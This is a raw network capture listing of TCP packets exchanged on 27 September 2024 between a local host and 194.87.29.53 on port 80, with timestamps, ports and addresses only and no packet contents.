Sep 27, 2024 18:29:08.408890963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408902884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408914089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408945084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.408957958 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409033060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409044981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409054995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409065962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409076929 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409101963 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409123898 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409218073 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409229040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409238100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409250021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409259081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409260988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409270048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409280062 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409282923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409295082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409310102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409312010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409321070 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409322023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409332991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409351110 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409352064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409363985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409377098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409392118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409413099 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409552097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409563065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409574032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409584045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409590960 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409595966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409610033 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409611940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409624100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409632921 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409636021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409648895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409656048 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409688950 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409905910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409917116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409928083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.409950972 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.409974098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410089970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410099983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410110950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410124063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410134077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410167933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410291910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410310984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410321951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410339117 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410340071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410351992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410362959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410363913 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410375118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410387039 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410387993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410399914 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410402060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410432100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410454035 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410631895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410674095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410839081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410851002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410861969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410875082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410878897 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410887003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.410893917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410907030 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410932064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.410995960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.411010027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.411021948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.411035061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.411040068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.411046982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.411058903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.411065102 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.411094904 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.411185026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.411196947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.411207914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.411217928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.411230087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.411232948 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.411242008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.411252975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.411258936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.411273003 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.411297083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492208004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492224932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492237091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492255926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492265940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492276907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492280960 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492291927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492326021 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492338896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492345095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492381096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492422104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492434025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492465973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492476940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492527008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492537975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492548943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492558956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492568016 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492569923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492593050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492604971 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492667913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492681026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492691040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492711067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492734909 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492855072 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492897034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492928028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492938995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.492969990 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492985964 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.492995977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493006945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493019104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493037939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493056059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493196011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493206978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493217945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493233919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493240118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493246078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493264914 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493289948 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493381977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493392944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493402958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493413925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493422031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493426085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493437052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493447065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493448973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493478060 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493491888 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493513107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493556976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493622065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493633986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493643999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493654966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493663073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493664980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493679047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493690968 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493725061 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493849993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493860960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493876934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493890047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.493894100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493918896 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.493937969 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494131088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494143009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494153023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494163036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494173050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494174957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494190931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494190931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494205952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494215965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494218111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494226933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494226933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494240046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494255066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494261980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494266033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494277000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494283915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494287014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494302034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494317055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494338989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494482040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494493961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494503975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494513035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494524956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494539022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494570017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494643927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494654894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494671106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494680882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494685888 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494693041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494703054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494704962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494718075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494721889 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494729042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494749069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494760990 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494944096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494955063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494966030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494976997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494987011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.494988918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.494997978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495007038 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495034933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495069027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495102882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495102882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495147943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495167017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495191097 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495210886 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495338917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495351076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495361090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495371103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495382071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495382071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495400906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495409966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495419979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495444059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495491028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495501995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495518923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495531082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495537043 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495543957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495552063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495573044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495589018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495614052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495630026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495640993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495652914 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495671034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495687962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495699883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495711088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495722055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495723009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495734930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495743990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495754957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495783091 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.495969057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495980024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.495990038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.496000051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.496010065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.496014118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.496021986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.496021986 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.496032953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.496057987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.496069908 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.496177912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.496222019 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.496225119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.496237993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.496267080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.496278048 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.496331930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.496344090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.496354103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.496365070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.496373892 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.496385098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.496402979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579168081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579183102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579197884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579227924 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579236984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579248905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579258919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579271078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579277039 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579301119 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579310894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579370975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579387903 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579411983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579427004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579437971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579448938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579459906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579479933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579505920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579526901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579539061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579550982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579567909 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579580069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579590082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579624891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579636097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579668045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579679966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579710960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579720974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579736948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.579754114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579765081 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.579772949 CEST	60865	80	192.168.2.4	194.87.29.53
